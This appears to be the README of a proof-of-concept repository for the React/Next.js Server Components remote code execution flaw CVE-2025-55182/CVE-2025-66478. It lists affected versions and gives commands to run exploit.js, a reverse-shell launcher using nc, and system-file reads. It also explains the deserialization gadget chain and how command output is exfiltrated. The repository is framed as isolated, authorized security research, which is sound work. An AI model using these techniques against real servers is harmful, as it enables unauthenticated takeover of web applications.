Share
## https://sploitus.com/exploit?id=4E8AF00A-9323-5D6D-8A1F-EF5E62B57344
[ๆ—ฅๆœฌ่ชž](README.ja.md)

> [!CAUTION]
> **For Authorized Security Research Only**
>
> This repository contains **`exploit.js`** and **`poc.sh`** โ€” working exploit code for CVE-2025-55182 / CVE-2025-66478 (CVSS 10.0).
>
> - Unauthorized use against systems you do not own or have explicit written permission to test is **illegal**.
> - Run **only** in isolated environments. This project's Docker network is air-gapped by design (`internal: true`).
> - The authors assume **no liability** for any misuse.

# CVE-2025-55182 / CVE-2025-66478 (React2Shell) โ€” Proof of Concept

![CVSS](https://img.shields.io/badge/CVSS-10.0%20Critical-red)
![React](https://img.shields.io/badge/React-19.0โ€“19.2-blue)
![Next.js](https://img.shields.io/badge/Next.js-15.0โ€“16.0-black)
![Node.js](https://img.shields.io/badge/Node.js-24-green)

A local proof-of-concept for **CVE-2025-55182** (React) and **CVE-2025-66478** (Next.js), publicly disclosed on December 3, 2025. The vulnerability is an unauthenticated remote code execution flaw in the RSC Flight Protocol deserialization path. A crafted multipart POST to any Server Functions endpoint triggers arbitrary code execution on the server without authentication.

Only **App Router** applications are affected. Pages Router, Edge Runtime, Next.js 13.x, and Next.js 14.x stable are **not affected**.

## Affected Versions

### React โ€” CVE-2025-55182

Affects the `react-server-dom-webpack`, `react-server-dom-parcel`, and `react-server-dom-turbopack` packages (not React core itself).

| Vulnerable     | Fixed  |
| -------------- | ------ |
| 19.0.0         | 19.0.1 |
| 19.1.0, 19.1.1 | 19.1.2 |
| 19.2.0         | 19.2.1 |

### Next.js โ€” CVE-2025-66478

App Router only. Pages Router, Edge Runtime, 13.x, and 14.x stable are not affected.

| Vulnerable Range | Fixed  |
| ---------------- | ------ |
| 15.0.0 โ€“ 15.0.4  | 15.0.5 |
| 15.1.0 โ€“ 15.1.8  | 15.1.9 |
| 15.2.0 โ€“ 15.2.x  | 15.2.6 |
| 15.3.0 โ€“ 15.3.x  | 15.3.6 |
| 15.4.0 โ€“ 15.4.x  | 15.4.8 |
| 15.5.0 โ€“ 15.5.x  | 15.5.7 |
| 16.0.0 โ€“ 16.0.6  | 16.0.7 |

> This PoC intentionally uses `next@15.1.0` and `react@19.0.0` โ€” both within the vulnerable ranges above.

## Project Structure

```
react2shell-poc/
โ”œโ”€โ”€ exploit.js              โš ๏ธ  RCE exploit CLI
โ”œโ”€โ”€ poc.sh                  โš ๏ธ  One-shot automated PoC runner (command execution)
โ”œโ”€โ”€ rev-shell.sh            โš ๏ธ  Reverse shell launcher
โ”œโ”€โ”€ Dockerfile              Vulnerable Next.js target
โ”œโ”€โ”€ Dockerfile.attacker     Attacker container (Node.js + netcat)
โ”œโ”€โ”€ docker-compose.yml      Isolated internal Docker network
โ”œโ”€โ”€ entrypoint.sh           Target startup script (next dev)
โ”œโ”€โ”€ app/
โ”‚   โ”œโ”€โ”€ actions.js          Vulnerable Server Function (exploit entry point)
โ”‚   โ”œโ”€โ”€ ServerForm.js       Client form component
โ”‚   โ”œโ”€โ”€ layout.js           Root layout
โ”‚   โ””โ”€โ”€ page.js             Home page
โ””โ”€โ”€ package.json            Pinned to vulnerable versions
```

## Architecture

```
[ poc-net โ€” internal: true (no host ports exposed) ]

  target:3000              attacker
  (Next.js dev)  โ†โ”€โ”€โ”€โ”€โ”€โ”€   exploit.js
         โ”‚
         โ””โ”€โ”€ RCE: child_process.execSync()
             stdout (base64) โ”€โ”€โ–บ x-action-redirect header โ”€โ”€โ–บ attacker stdout
```

## Prerequisites

- Docker 20.10+
- Docker Compose v2+

## Quick Start

```bash
# Default: runs 'id' on the vulnerable server
./poc.sh

# Custom command
./poc.sh -c 'whoami && hostname && cat /etc/os-release'

# Reverse shell
./rev-shell.sh
```

### How `poc.sh` Works

1. `docker compose build` โ€” builds both images
2. `docker compose up -d target` โ€” starts the vulnerable Next.js server
3. Calls `docker compose up -d --wait --wait-timeout 120 target` โ€” blocks until the Docker healthcheck (node HTTP probe) reports healthy
4. Mounts the `next-build` shared volume; reads `server-reference-manifest.json` via the attacker container to extract the compiled action hash automatically
5. Exports `NEXT_ACTION_HASH` and runs `exploit.js` inside the attacker container against `http://target:3000`

### Reverse Shell Mode

```bash
./rev-shell.sh          # default port 4444
./rev-shell.sh 9001     # custom port
```

`rev-shell.sh` first ensures the target is healthy, then starts a single attacker container, fires `exploit.js` in the background, and runs `nc -lvnp` in the foreground โ€” avoiding DNS ambiguity that arises when two separate attacker containers share the same service alias.

### Cleanup

```bash
docker compose down -v   # stop containers and remove the named volume
```

## Manual Setup (without Docker)

```bash
npm install
npm run build

# Extract the compiled Server Action hash
node -e "console.log(Object.keys(JSON.parse(require('fs').readFileSync('.next/server/server-reference-manifest.json','utf8')).node)[0])"

npm start

# Run the exploit
node exploit.js -t http://localhost:3000 -a  -c 'id'
```

> Server Function hashes are generated by `npm run build`. The dev server used in Docker generates the same manifest on the first request (triggered by the health check).

## Exploit CLI Reference

| Option            | Short | Default                 | Description                                                                   |
| ----------------- | ----- | ----------------------- | ----------------------------------------------------------------------------- |
| `--target`        | `-t`  | _(required)_            | Target URL                                                                    |
| `--action-hash`   | `-a`  | `$NEXT_ACTION_HASH` env | Compiled Server Action hash                                                   |
| `--command`       | `-c`  | `id`                    | Shell command to execute                                                      |
| `--reverse-shell` | `-r`  | โ€”                       | Reverse shell destination (`host:port`); use via `rev-shell.sh`, not `poc.sh` |
| `--check-only`    | โ€”     | `false`                 | Detection probe only โ€” no exploit                                             |

## How It Works

### Attack Flow

1. **Probe** โ€” GET request + RSC probe POST; detects Next.js via `Server` / `X-Powered-By` headers and RSC endpoint response code
2. **Encode** โ€” command is base64-encoded to avoid shell-escaping issues
3. **Build payload** โ€” constructs the RSC Flight deserialization gadget chain (`makeFields()`)
4. **Send** โ€” multipart POST with `Next-Action: ` header to the Server Functions endpoint
5. **RCE** โ€” server deserializes the payload; gadget chain fires and executes injected JavaScript
6. **Output** โ€” command stdout is returned base64-encoded in the `x-action-redirect` response header

### Gadget Chain

```
$3:constructor:constructor
  โ†’ [].constructor.constructor
  โ†’ Function (the built-in Function constructor)

$B3 โ†’ Function(_prefix + parseInt("3", 16))
     = Function(_prefix + "3")
       โ””โ”€ _prefix ends with "//"
          โ†’ trailing "3" becomes a comment; only injected code runs
```

### Output Exfiltration

```
throw Object.assign(new Error('NEXT_REDIRECT'), { digest: `NEXT_REDIRECT;push;/x?o=${base64(stdout)};307;` })
  โ†“
Next.js converts to: x-action-redirect response header
  โ†“
exploit.js: split("?o=")[1].split(";")[0] โ†’ base64decode โ†’ print
```

## References

- [react.dev โ€” Critical Security Vulnerability in React Server Components](https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components)
- [nextjs.org โ€” Security Advisory: CVE-2025-66478](https://nextjs.org/blog/CVE-2025-66478)
- [NVD โ€” CVE-2025-55182](https://vulners.com/cve/CVE-2025-55182)
- [GitHub Advisory โ€” GHSA-9qr9-h5gf-34mp (CVE-2025-66478)](https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp)

_Discovered by [Lachlan Davidson](https://github.com/lachlan2k)._

## Disclaimer

For local security testing only. Do not use against systems you do not own.